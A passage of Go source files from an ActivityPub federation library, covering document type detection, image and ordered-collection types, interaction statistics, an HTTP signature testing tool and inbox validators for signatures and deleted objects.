} 80 | 81 | // AppendBTo appends a value to the "bto" property of the document 82 | func (document *Document) AppendBTo(value string) bool { 83 | return document.AppendString(vocab.PropertyBTo, value) 84 | } 85 | 86 | // AppendCC appends a value to the "cc" property of the document 87 | func (document *Document) AppendCC(value string) bool { 88 | return document.AppendString(vocab.PropertyCC, value) 89 | } 90 | 91 | // AppendBCC appends a value to the "bcc" property of the document 92 | func (document *Document) AppendBCC(value string) bool { 93 | return document.AppendString(vocab.PropertyBCC, value) 94 | } 95 | -------------------------------------------------------------------------------- /streams/document_special.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/utterproofre/hannibal/vocab" 7 | ) 8 | 9 | /****************************************** 10 | * Type Detection 11 | ******************************************/ 12 | 13 | // IsActivity returns TRUE if this document represents an Activity 14 | func (document Document) IsActivity() bool { 15 | 16 | switch document.Type() { 17 | 18 | case vocab.ActivityTypeAccept, 19 | vocab.ActivityTypeAdd, 20 | vocab.ActivityTypeAnnounce, 21 | vocab.ActivityTypeArrive, 22 | vocab.ActivityTypeBlock, 23 | vocab.ActivityTypeCreate, 24 | vocab.ActivityTypeDelete, 25 | vocab.ActivityTypeDislike, 26 | vocab.ActivityTypeFlag, 27 | vocab.ActivityTypeFollow, 28 | vocab.ActivityTypeIgnore, 29 | vocab.ActivityTypeInvite, 30 | vocab.ActivityTypeJoin, 31 | vocab.ActivityTypeLeave, 32 | vocab.ActivityTypeLike, 33 | vocab.ActivityTypeListen, 34 | vocab.ActivityTypeMove, 35 | vocab.ActivityTypeOffer, 36 | vocab.ActivityTypeQuestion, 37 | vocab.ActivityTypeReject, 38 | vocab.ActivityTypeRead, 39 | vocab.ActivityTypeRemove, 40 | vocab.ActivityTypeTentativeReject, 41 | vocab.ActivityTypeTentativeAccept, 42 | vocab.ActivityTypeTravel, 43 | vocab.ActivityTypeUndo, 44 | vocab.ActivityTypeUpdate, 45 | vocab.ActivityTypeView: 46 | return true 47 | } 48 | 49 | return false 50 | } 51 | 52 | // NotActivity returns TRUE if this document does NOT represent an Activity 53 | func (document Document) NotActivity() bool { 54 | return !document.IsActivity() 55 | } 56 | 57 | // IsActor returns TRUE if this document represents an Actor 58 | func (document Document) IsActor() bool { 59 | 60 | switch document.Type() { 61 | 62 | case vocab.ActorTypeApplication, 63 | vocab.ActorTypeGroup, 64 | vocab.ActorTypeOrganization, 65 | vocab.ActorTypePerson, 66 | vocab.ActorTypeService: 67 | return true 68 | } 69 | 70 | return false 71 | } 72 | 73 | // NotActor returns TRUE if this document does NOT represent an Actor 74 | func (document Document) NotActor() bool { 75 | return !document.IsActor() 76 | } 77 | 78 | // IsCollection returns TRUE if this document represents a Collection or CollectionPage 79 | func (document Document) IsCollection() bool { 80 | 81 | switch document.Type() { 82 | case vocab.CoreTypeCollection, 83 | vocab.CoreTypeCollectionPage, 84 | vocab.CoreTypeOrderedCollection, 85 | vocab.CoreTypeOrderedCollectionPage: 86 | 87 | return true 88 | } 89 | 90 | return false 91 | } 92 | 93 | // NotCollection returns TRUE if the document does NOT represent a Collection or CollectionPage 94 | func (document Document) NotCollection() bool { 95 | return !document.IsCollection() 96 | } 97 | 98 | // IsObject returns TRUE if this document represents an Object type (Article, Note, etc) 99 | func (document Document) IsObject() bool { 100 | 101 | switch document.Type() { 102 | 103 | case vocab.ObjectTypeArticle, 104 | vocab.ObjectTypeAudio, 105 | vocab.ObjectTypeDocument, 106 | vocab.ObjectTypeEvent, 107 | vocab.ObjectTypeImage, 108 | vocab.ObjectTypeNote, 109 | vocab.ObjectTypePage, 110 | vocab.ObjectTypePlace, 111 | vocab.ObjectTypeProfile, 112 | vocab.ObjectTypeRelationship, 113 | vocab.ObjectTypeTombstone, 114 | vocab.ObjectTypeVideo: 115 | 116 | return true 117 | } 118 | 119 | return false 120 | } 121 | 122 | // NotObject returns TRUE if this document does NOT represent an Object type (Article, Note, etc) 123 | func (document Document) NotObject() bool { 124 | return !document.IsObject() 125 | } 126 | 127 | // Statistics returns counts for various interactions: Announces, Replies, Likes, and Dislikes 128 | func (document Document) Statistics() Statistics { 129 | return document.statistics 130 | } 131 | 132 | // HasImage returns TRUE if this document has a valid Image property 133 | func (document Document) HasImage() bool { 134 | return document.Image().NotNil() 135 | } 136 | 137 | // HasContent returns TRUE if this document has a valid Content property 138 | func (document Document) HasContent() bool { 139 | return document.Content() != "" 140 | } 141 | 142 | // HasSummary returns TRUE if this document has a valid Summary property 143 | func (document Document) HasSummary() bool { 144 | return document.Summary() != "" 145 | } 146 | 147 | func (document Document) HasDimensions() bool { 148 | return document.Width() > 0 && document.Height() > 0 149 | } 150 | 151 | func (document Document) AspectRatio() string { 152 | 153 | width := document.Width() 154 | height := document.Height() 155 | 156 | if width == 0 || height == 0 { 157 | return "auto" 158 | } 159 | 160 | ratio := float64(width) / float64(height) 161 | return strconv.FormatFloat(ratio, 'f', -1, 64) 162 | } 163 | 164 | // If this document is an activity (create, update, delete, etc), then 165 | // this method returns the activity's Object. Otherwise, it returns 166 | // the document itself. 167 | func (document Document) UnwrapActivity() Document { 168 | 169 | // If this is an "Activity" type, the dig deeper into the object 170 | // to find the actual document. 171 | // This is recursive because it's possible to have a deep tree 172 | // such as Announce > Create > Document. Looking at you, Lemmy... 173 | if document.IsActivity() { 174 | return document.Object().UnwrapActivity() 175 | } 176 | 177 | return document 178 | } 179 | -------------------------------------------------------------------------------- /streams/document_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/benpate/rosetta/mapof" 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestDocument(t *testing.T) { 11 | 12 | d := NewDocument(map[string]any{ 13 | "id": "https://example.com", 14 | }) 15 | 16 | require.Equal(t, "https://example.com", d.ID()) 17 | } 18 | 19 | func TestDocumentMapOfAny(t *testing.T) { 20 | 21 | d := NewDocument(mapof.Any{ 22 | "id": "https://example.com", 23 | }) 24 | 25 | require.True(t, d.IsMap()) 26 | require.Equal(t, "https://example.com", d.ID()) 27 | } 28 | -------------------------------------------------------------------------------- /streams/image.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/property" 5 | "github.com/utterproofre/hannibal/vocab" 6 | "github.com/benpate/rosetta/convert" 7 | "github.com/benpate/rosetta/mapof" 8 | "github.com/benpate/rosetta/sliceof" 9 | ) 10 | 11 | // https://www.w3.org/ns/activitystreams#Image 12 | type Image struct { 13 | value any 14 | } 15 | 16 | // NewImage creates a new Image object from a JSON-LD value (string, map[string]any, or []any) 17 | func NewImage(value any) Image { 18 | 19 | switch typed := value.(type) { 20 | 21 | case Document: 22 | return NewImage(typed.value.Raw()) 23 | 24 | case property.Value: 25 | return NewImage(typed.Raw()) 26 | 27 | case Image: 28 | return typed 29 | 30 | case string: 31 | return Image{value: typed} 32 | 33 | case map[string]any: 34 | return Image{value: typed} 35 | 36 | case []any: 37 | return Image{value: typed} 38 | 39 | case mapof.Any: 40 | return Image{value: map[string]any(typed)} 41 | 42 | case sliceof.Any: 43 | return Image{value: []any(typed)} 44 | } 45 | 46 | return Image{""} 47 | } 48 | 49 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-href 50 | // Note: URL is an alias for Href, which is the proper name to use 51 | func (image Image) URL() string { 52 | return image.Href() 53 | } 54 | 55 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-href 56 | // Note: This method searches both the "href" and "url" properties in maps. 57 | func (image Image) Href() string { 58 | 59 | switch typed := image.value.(type) { 60 | 61 | case string: 62 | return typed 63 | 64 | case map[string]any: 65 | 66 | if href := convert.String(typed[vocab.PropertyHref]); href != "" { 67 | return href 68 | } 69 | 70 | if url := convert.String(typed[vocab.PropertyURL]); url != "" { 71 | 72 | return url 73 | } 74 | 75 | case []any: 76 | if len(typed) > 0 { 77 | return NewImage(typed[0]).URL() 78 | } 79 | } 80 | 81 | return "" 82 | } 83 | 84 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-summary 85 | func (image Image) Summary() string { 86 | 87 | switch typed := image.value.(type) { 88 | 89 | case map[string]any: 90 | return convert.String(typed[vocab.PropertySummary]) 91 | 92 | case []any: 93 | if len(typed) > 0 { 94 | return NewImage(typed[0]).Summary() 95 | } 96 | } 97 | 98 | return "" 99 | } 100 | 101 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-mediatype 102 | func (image Image) MediaType() string { 103 | 104 | switch typed := image.value.(type) { 105 | 106 | case map[string]any: 107 | return convert.String(typed[vocab.PropertyMediaType]) 108 | 109 | case []any: 110 | if len(typed) > 0 { 111 | return NewImage(typed[0]).MediaType() 112 | } 113 | } 114 | 115 | return "" 116 | } 117 | 118 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-height 119 | func (image Image) Height() int { 120 | 121 | switch typed := image.value.(type) { 122 | 123 | case map[string]any: 124 | return convert.Int(typed[vocab.PropertyHeight]) 125 | 126 | case []any: 127 | if len(typed) > 0 { 128 | return NewImage(typed[0]).Height() 129 | } 130 | } 131 | 132 | return 0 133 | } 134 | 135 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-width 136 | func (image Image) Width() int { 137 | 138 | switch typed := image.value.(type) { 139 | 140 | case map[string]any: 141 | return convert.Int(typed[vocab.PropertyWidth]) 142 | 143 | case []any: 144 | if len(typed) > 0 { 145 | return NewImage(typed[0]).Width() 146 | } 147 | } 148 | 149 | return 0 150 | } 151 | 152 | // IsNil returns TRUE if this image is nil (having no URL) 153 | func (image Image) IsNil() bool { 154 | return image.URL() == "" 155 | } 156 | 157 | // NotNil returns TRUE if this image has a URL 158 | func (image Image) NotNil() bool { 159 | return !image.IsNil() 160 | } 161 | 162 | // HasHeight returns TRUE if this image has a height defined 163 | func (image Image) HasHeight() bool { 164 | return image.Height() > 0 165 | } 166 | 167 | // HasWidth returns TRUE if this image has a width defined 168 | func (image Image) HasWidth() bool { 169 | return image.Width() > 0 170 | } 171 | 172 | // HasDimensions returns TRUE if this image has both a height and width defined 173 | func (image Image) HasDimensions() bool { 174 | return image.HasHeight() && image.HasWidth() 175 | } 176 | 177 | // AspectRatio calculates the aspect ratio of the image (width / height) 178 | // If height and width are not available, then 0 is returned 179 | func (image Image) AspectRatio() float64 { 180 | if image.HasDimensions() { 181 | return float64(image.Width()) / float64(image.Height()) 182 | } 183 | 184 | return 0 185 | } 186 | -------------------------------------------------------------------------------- /streams/items.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | func UnmarshalItems(data any) ([]any, bool) { 4 | result, ok := data.([]any) 5 | return result, ok 6 | } 7 | -------------------------------------------------------------------------------- /streams/options.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // OptionStripContext instructs the Document.Map() method to remove the "@context" property from its ouput. 4 | const OptionStripContext = "STRIP_CONTEXT" 5 | 6 | // OptionStripRecipients instructs the Document.Map() method to remove all recipient properties from its output. 7 | // (To, BTo, CC, BCC) 8 | const OptionStripRecipients = "STRIP_RECCIPIENTS" 9 | -------------------------------------------------------------------------------- /streams/orderedCollection.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // OrderedCollection is a subtype of Collection in which members of the logical collection are assumed to always be strictly ordered. 12 | // https://www.w3.org/ns/activitystreams#OrderedCollection 13 | type OrderedCollection struct { 14 | Context Context `json:"@context,omitempty" bson:"@context,omitempty"` 15 | ID string `json:"id,omitempty" bson:"id,omitempty"` 16 | Type string `json:"type,omitempty" bson:"type,omitempty"` 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | OrderedItems []any `json:"orderedItems,omitempty" bson:"orderedItems,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 20 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 21 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 22 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 23 | } 24 | 25 | func NewOrderedCollection(collectionID string) OrderedCollection { 26 | return OrderedCollection{ 27 | Context: DefaultContext(), 28 | Type: vocab.CoreTypeOrderedCollection, 29 | ID: collectionID, 30 | OrderedItems: make([]any, 0), 31 | } 32 | } 33 | 34 | func (c *OrderedCollection) UnmarshalJSON(data []byte) error { 35 | 36 | result := mapof.NewAny() 37 | 38 | if err := json.Unmarshal(data, &result); err != nil { 39 | return derp.Wrap(err, "activitystreams.OrderedCollection.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 40 | } 41 | 42 | return c.UnmarshalMap(result) 43 | } 44 | 45 | func (c *OrderedCollection) UnmarshalMap(data mapof.Any) error { 46 | 47 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeOrderedCollection { 48 | return derp.InternalError("activitystreams.OrderedCollection.UnmarshalMap", "Invalid type", dataType) 49 | } 50 | 51 | c.Type = vocab.CoreTypeOrderedCollection 52 | c.Summary = data.GetString("summary") 53 | c.TotalItems = data.GetInt("totalItems") 54 | c.Current = data.GetString("current") 55 | c.First = data.GetString("first") 56 | c.Last = data.GetString("last") 57 | 58 | if dataItems, ok := data["items"]; ok { 59 | if items, ok := UnmarshalItems(dataItems); ok { 60 | c.OrderedItems = items 61 | } 62 | } 63 | 64 | return nil 65 | } 66 | -------------------------------------------------------------------------------- /streams/orderedCollectionPage.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // OrderedCollectionPage is used to represent ordered subsets of items from an OrderedCollection. Refer to the Activity Streams 2.0 Core for a complete description of the OrderedCollectionPage object. 12 | // https://www.w3.org/ns/activitystreams#OrderedCollectionPage 13 | type OrderedCollectionPage struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | Type string `json:"type,omitempty" bson:"type,omitempty"` 16 | ID string `json:"id,omitempty" bson:"id,omitempty"` // Provides the globally unique identifier for an Object or Link. 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | StartIndex int `json:"startIndex,omitempty" bson:"startIndex,omitempty"` // A non-negative integer value identifying the relative position within the logical view of a strictly ordered collection. 23 | PartOf string `json:"partOf,omitempty" bson:"partOf,omitempty"` // dentifies the Collection to which a CollectionPage objects items belong. 24 | Prev string `json:"prev,omitempty" bson:"prev,omitempty"` // In a paged Collection, identifies the previous page of items. 25 | Next string `json:"next,omitempty" bson:"next,omitempty"` // In a paged Collection, indicates the next page of items. 26 | OrderedItems []any `json:"orderedItems,omitempty" bson:"orderedItems,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 27 | } 28 | 29 | func NewOrderedCollectionPage(pageID string, partOf string) OrderedCollectionPage { 30 | return OrderedCollectionPage{ 31 | Context: DefaultContext(), 32 | Type: vocab.CoreTypeOrderedCollectionPage, 33 | ID: pageID, 34 | PartOf: partOf, 35 | OrderedItems: make([]any, 0), 36 | } 37 | } 38 | 39 | func (c *OrderedCollectionPage) UnmarshalJSON(data []byte) error { 40 | 41 | result := mapof.NewAny() 42 | 43 | if err := json.Unmarshal(data, &result); err != nil { 44 | return derp.Wrap(err, "activitystreams.OrderedCollectionPage.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 45 | } 46 | 47 | return c.UnmarshalMap(result) 48 | } 49 | 50 | func (c *OrderedCollectionPage) UnmarshalMap(data mapof.Any) error { 51 | 52 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeOrderedCollectionPage { 53 | return derp.InternalError("activitystreams.OrderedCollectionPage.UnmarshalMap", "Invalid type", dataType) 54 | } 55 | 56 | c.Type = vocab.CoreTypeOrderedCollectionPage 57 | c.ID = data.GetString("id") 58 | c.Summary = data.GetString("summary") 59 | c.TotalItems = data.GetInt("totalItems") 60 | c.Current = data.GetString("current") 61 | c.First = data.GetString("first") 62 | c.Last = data.GetString("last") 63 | c.StartIndex = data.GetInt("startIndex") 64 | c.PartOf = data.GetString("partOf") 65 | c.Prev = data.GetString("prev") 66 | c.Next = data.GetString("next") 67 | 68 | if dataItems, ok := data["items"]; ok { 69 | if items, ok := UnmarshalItems(dataItems); ok { 70 | c.OrderedItems = items 71 | } 72 | } 73 | 74 | return nil 75 | } 76 | -------------------------------------------------------------------------------- /streams/range.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "iter" 4 | 5 | func Range(document Document) iter.Seq[Document] { 6 | 7 | return func(yield func(Document) bool) { 8 | for ; document.NotNil(); document = document.Tail() { 9 | if !yield(document.Head()) { 10 | return 11 | } 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /streams/statistics.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // Statistics contains totals for various interactions with a document 4 | type Statistics struct { 5 | Replies int64 `json:"replies" bson:"replies,omitempty"` // Replies is the number of replies to this document 6 | Likes int64 `json:"likes" bson:"likes,omitempty"` // Likes is the number of times this document has been liked 7 | Dislikes int64 `json:"dislikes" bson:"dislikes,omitempty"` // Dislikes is the number of times this document has been disliked 8 | Announces int64 `json:"announces" bson:"announces,omitempty"` // Announces is the number of times this document has been announced / reposted 9 | } 10 | 11 | // NewStatistics returns a fully initialized Statistics object 12 | func NewStatistics() Statistics { 13 | return Statistics{} 14 | } 15 | 16 | func (stats Statistics) IsEmpty() bool { 17 | return !stats.NotEmpty() 18 | } 19 | 20 | func (stats Statistics) NotEmpty() bool { 21 | return stats.HasReplies() || stats.HasLikes() || stats.HasAnnounces() || stats.HasDislikes() 22 | } 23 | 24 | func (stats Statistics) HasReplies() bool { 25 | return stats.Replies > 0 26 | } 27 | 28 | func (stats Statistics) HasLikes() bool { 29 | return stats.Likes > 0 30 | } 31 | 32 | func (stats Statistics) HasDislikes() bool { 33 | return stats.Dislikes > 0 34 | } 35 | 36 | func (stats Statistics) HasAnnounces() bool { 37 | return stats.Announces > 0 38 | } 39 | -------------------------------------------------------------------------------- /test-signatures/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net/http" 7 | "os" 8 | 9 | "github.com/benpate/derp" 10 | "github.com/utterproofre/hannibal/clients" 11 | "github.com/utterproofre/hannibal/sigs" 12 | "github.com/utterproofre/hannibal/streams" 13 | "github.com/davecgh/go-spew/spew" 14 | "github.com/rs/zerolog" 15 | "github.com/rs/zerolog/log" 16 | ) 17 | 18 | func main() { 19 | 20 | // Logging Configuration 21 | zerolog.TimeFieldFormat = zerolog.TimeFormatUnix 22 | log.Logger = log.Output(zerolog.ConsoleWriter{ 23 | Out: os.Stderr, 24 | NoColor: false, 25 | TimeFormat: "", 26 | }) 27 | 28 | fmt.Println("HTTP Signature Tester") 29 | fmt.Println("This is a bare-bones tool for testing") 30 | fmt.Println("HTTP signatures. Paste in an HTTP request") 31 | fmt.Println("and it will attempt to verify the signature") 32 | fmt.Println("using the publick key found in the document.") 33 | fmt.Println("") 34 | fmt.Println("Paste HTTP Request Now:") 35 | fmt.Println("-----------------------") 36 | 37 | request, err := http.ReadRequest(bufio.NewReader(os.Stdin)) 38 | 39 | if err != nil { 40 | derp.Report(err) 41 | return 42 | } 43 | 44 | fmt.Println("") 45 | fmt.Println("") 46 | fmt.Println("Processing HTTP Request") 47 | fmt.Println("-----------------------") 48 | 49 | verifier := sigs.NewVerifier() 50 | if err := verifier.Verify(request, keyFinder()); err != nil { 51 | spew.Dump(err) 52 | } 53 | fmt.Println("") 54 | fmt.Println("HTTP SIGNATURE VERIFIED SUCCESSFULLY.") 55 | } 56 | 57 | func keyFinder() sigs.PublicKeyFinder { 58 | 59 | return func(keyID string) (string, error) { 60 | 61 | hashClient := clients.NewHashLookup(streams.NewDefaultClient()) 62 | 63 | document, err := hashClient.Load(keyID) 64 | 65 | if err != nil { 66 | return "", derp.Wrap(err, "hannibal.validator.HTTPSig.keyFinder", "Error retrieving Actor from ActivityPub document", keyID) 67 | } 68 | 69 | publicKeyPEM := document.PublicKeyPEM() 70 | 71 | return publicKeyPEM, nil 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package hannibal 2 | 3 | import ( 4 | "net/http" 5 | "strings" 6 | "time" 7 | 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/rosetta/list" 10 | ) 11 | 12 | // TimeFormat returns a string representation of the provided time value, 13 | // using the format designated by the W3C spec: https://www.w3.org/TR/activitystreams-core/#dates 14 | func TimeFormat(value time.Time) string { 15 | return value.UTC().Format(http.TimeFormat) 16 | } 17 | 18 | // IsActivityPubContentType returns TRUE if the provided contentType is a valid ActivityPub content type. 19 | // https://www.w3.org/TR/activitystreams-core/#media-type 20 | func IsActivityPubContentType(contentType string) bool { 21 | 22 | // If multiple content types are provided, then only check the first one. 23 | contentType = list.First(contentType, ',') 24 | 25 | // Strip off any parameters from the content type (like charsets and json-ld profiles) 26 | contentType = list.First(contentType, ';') 27 | 28 | // Remove whitespace around the actual value 29 | contentType = strings.TrimSpace(contentType) 30 | 31 | // If what remains matches any of these values, then Success! 32 | switch contentType { 33 | case vocab.ContentTypeActivityPub, 34 | vocab.ContentTypeJSON, 35 | vocab.ContentTypeJSONLD: 36 | return true 37 | } 38 | 39 | // Failure. 40 | return false 41 | } 42 | -------------------------------------------------------------------------------- /utils_test.go: -------------------------------------------------------------------------------- 1 | package hannibal 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestIsActivityPubContentType(t *testing.T) { 10 | require.True(t, IsActivityPubContentType("application/json")) 11 | require.True(t, IsActivityPubContentType("application/json; everything after the semicolon is ignored")) 12 | require.True(t, IsActivityPubContentType("application/json; whocares=notme")) 13 | require.True(t, IsActivityPubContentType("application/activity+json")) 14 | require.True(t, IsActivityPubContentType("application/activity+json; charset=utf-8")) 15 | require.True(t, IsActivityPubContentType("application/ld+json")) 16 | require.True(t, IsActivityPubContentType("application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"")) 17 | 18 | require.False(t, IsActivityPubContentType("literally anything else")) 19 | require.False(t, IsActivityPubContentType("application/xml")) 20 | require.False(t, IsActivityPubContentType("application/xml; whocares=notme")) 21 | require.False(t, IsActivityPubContentType("image/webp")) 22 | } 23 | -------------------------------------------------------------------------------- /validator/deleted-objects.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/streams" 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/remote" 10 | ) 11 | 12 | // DeletedObject validates "delete" activities by trying to retrieve the original object. 13 | type DeletedObject struct{} 14 | 15 | // NewDeletedObject returns a fully initialized DeletedObject validator. 16 | func NewDeletedObject() DeletedObject { 17 | return DeletedObject{} 18 | } 19 | 20 | // Validate implements the Validator interface, which performs the actual validation. 21 | func (v DeletedObject) Validate(request *http.Request, document *streams.Document) Result { 22 | 23 | const location = "hannibal.validator.DeletedObject" 24 | 25 | // Only validate "Delete" activities 26 | if document.Type() != vocab.ActivityTypeDelete { 27 | return ResultUnknown 28 | } 29 | 30 | // Wait for ten minutes before checking. 31 | // TODO: This job should be queued (or something) in the future. 32 | // time.Sleep(10 * time.Minute) 33 | 34 | // Retrieve the objectID from the document 35 | objectID := document.Object().ID() 36 | 37 | if objectID == "" { 38 | return ResultInvalid 39 | } 40 | 41 | // log.Trace().Str("objectID", objectID).Str("location", location).Msg("Validating DeletedObject") 42 | 43 | // Try to retrieve the original document 44 | txn := remote.Get(objectID). 45 | Header("Accept", "application/activity+json") 46 | 47 | if err := txn.Send(); err != nil { 48 | 49 | // log.Trace().Err(err).Int("code", derp.ErrorCode(err)).Str("location", location).Msg("Received error code") 50 | 51 | // If the document is marked "gone" or "not found", 52 | // then this "delete" transaction is valid. 53 | switch derp.ErrorCode(err) { 54 | case http.StatusNotFound, http.StatusGone: 55 | return ResultValid 56 | } 57 | 58 | // We're not expecting this error, so perhaps there's something else going on here. 59 | derp.Report(derp.Wrap(err, location, "Error retrieving document, but it is not 'gone' or 'not found'")) 60 | return ResultUnknown 61 | } 62 | 63 | // Log the server response 64 | // log.Trace().Str("location", location).Msg("Delete is invalid / document still exists") 65 | // body, err := io.ReadAll(txn.Response().Body) 66 | // log.Trace().Err(err).Msg(string(body)) 67 | 68 | // Fall through means that the document still exists, so the "delete" transaction is invalid. 69 | return ResultInvalid 70 | } 71 | -------------------------------------------------------------------------------- /validator/http-lookup.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/property" 8 | "github.com/utterproofre/hannibal/streams" 9 | "github.com/utterproofre/hannibal/vocab" 10 | ) 11 | 12 | // HTTPLookup is a Validator that tries to retrieve the original document from the source server 13 | type HTTPLookup struct{} 14 | 15 | func NewHTTPLookup() HTTPLookup { 16 | return HTTPLookup{} 17 | } 18 | 19 | func (v HTTPLookup) Validate(request *http.Request, document *streams.Document) Result { 20 | 21 | // return ResultUnknown 22 | 23 | const location = "hannibal.validator.HTTPLookup" 24 | 25 | switch document.Type() { 26 | case vocab.ActivityTypeCreate, vocab.ActivityTypeUpdate: 27 | default: 28 | return ResultUnknown 29 | } 30 | 31 | // Get the ObjectID of the document 32 | objectID := document.Object().ID() 33 | 34 | if objectID == "" { 35 | return ResultInvalid 36 | } 37 | 38 | // Load the original document 39 | original, err := document.Client().Load(objectID) 40 | 41 | if err != nil { 42 | derp.Report(derp.Wrap(err, location, "Error loading original document", objectID)) 43 | } 44 | 45 | // Extract the value from the "original" retrieved document and replace it int the 46 | // document that was passed in 47 | value := original.Value() 48 | propertyValue := property.NewValue(value) 49 | document.SetValue(propertyValue) 50 | 51 | // Return in triumph 52 | return ResultValid 53 | } 54 | -------------------------------------------------------------------------------- /validator/http-signatures.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/sigs" 8 | "github.com/utterproofre/hannibal/streams" 9 | "github.com/rs/zerolog/log" 10 | ) 11 | 12 | // HTTPSig is a Validator that checks incoming HTTP requests 13 | // using the HTTP signatures algorithm. 14 | // https://docs.joinmastodon.org/spec/security/ 15 | type HTTPSig struct{} 16 | 17 | func NewHTTPSig() HTTPSig { 18 | return HTTPSig{} 19 | } 20 | 21 | // Validate uses the hannibal/sigs library to verify that the HTTP 22 | // request is signed with a valid key. 23 | func (validator HTTPSig) Validate(request *http.Request, document *streams.Document) Result { 24 | 25 | if !sigs.HasSignature(request) { 26 | return ResultUnknown 27 | } 28 | 29 | // Find the public key for the Actor who signed this request 30 | keyFinder := validator.keyFinder(document) 31 | 32 | // Verify the request using the Actor's public key 33 | if err := sigs.Verify(request, keyFinder); err != nil { 34 | log.Trace().Err(err).Msg("Hannibal Inbox: Error verifying HTTP Signature") 35 | return ResultInvalid 36 | } 37 | 38 | log.Trace().Msg("Hannibal Inbox: HTTP Signature Verified") 39 | return ResultValid 40 | } 41 | 42 | // keyFinder looks up the public Key for the provided document/Actor using the 43 | // HTTP client in the document. 44 | func (validator HTTPSig) keyFinder(document *streams.Document) sigs.PublicKeyFinder { 45 | 46 | const location = "hannibal.validator.HTTPSig.keyFinder" 47 | 48 | return func(keyID string) (string, error) { 49 | 50 | // Load the Actor from the document 51 | actor, err := document.Actor().Load() 52 | 53 | if err != nil { 54 | return "", derp.Wrap(err, location, "Error retrieving Actor from ActivityPub document", document.Value()) 55 | } 56 | 57 | // Search the Actor's public keys for the one that matches the provided keyID 58 | for key := actor.PublicKey(); key.NotNil(); key = key.Tail() { 59 | 60 | if key.ID() == keyID { 61 | return key.PublicKeyPEM(), nil 62 | } 63 | } 64 | 65 | // If none match, then return a (hopefully informative) error. 66 | log.Trace().Str("keyId", keyID).Msg("Hannibal Inbox: Could not find remote actor's public key") 67 | return "", derp.BadRequestError(location, "Actor must publish the key used to sign this request", actor.ID(), keyID) 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /validator/identityProofs.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/utterproofre/hannibal/streams" 7 | ) 8 | 9 | // IdentityProof implements FEP-c390 Identity Proofs 10 | // https://codeberg.org/fediverse/fep/src/branch/main/fep/c390/fep-c390.md 11 | type IdentityProof struct{} 12 | 13 | func (v IdentityProof) Validate(request *http.Request, document streams.Document) Result { 14 | 